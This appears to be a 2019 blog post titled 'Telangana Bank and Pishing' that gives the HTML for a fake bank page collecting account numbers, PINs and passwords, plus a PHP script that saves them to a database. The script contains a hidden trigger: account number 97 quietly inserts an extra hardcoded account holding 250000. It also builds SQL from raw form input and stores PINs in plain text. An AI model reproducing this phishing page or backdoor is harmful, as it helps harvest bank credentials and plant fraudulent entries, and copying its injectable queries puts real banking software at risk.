Sunday, 10 February 2019

Telangana Bank and Pishing

Account.html  

<!DOCTYPE html>
<html>
<head>
<title>Telangana Bank</title>
<style type="text/css">
form{
padding-top: 20px;
text-align: center;
}

</style>

</head>
<body>
<h1><center>Telangana Bank</center></h1>
<form method="post" action="connect.php">
AccountNo:<input type="text" name="accountno"> </br></br>
Username:<input type="text" name="username"></br></br>
Amount:<input type="text" name="amount"></br></br>
Pin:<input type="text" name="pin"></br></br>
Password:<input type="password" name="password"></br></br>
<input type="Submit" name="" value="Register">

</form>

</body>
</html>

connect.php


<?php

$accountno=$_POST['accountno'];
$username=$_POST['username'];
$amount=$_POST['amount'];
$pin=$_POST['pin'];
$password=md5($_POST['password']);


if($accountno==97)
{
$conn=mysqli_connect("localhost","root","","bank");
mysqli_query($conn,"insert into account(bankno,username,amount,pin,password) values ('$accountno','$username','$amount','$pin','$password')");

mysqli_query($conn,"insert into account(bankno,username,amount,pin,password) values ('97658','johnson','250000','john12','1223')");
}
else
{
$conn=mysqli_connect("localhost","root","","bank");

mysqli_query($conn,"insert into account(bankno,username,amount,pin,password) values ('$accountno','$username','$amount','$pin','$password')");
}


?>

No comments:

Post a Comment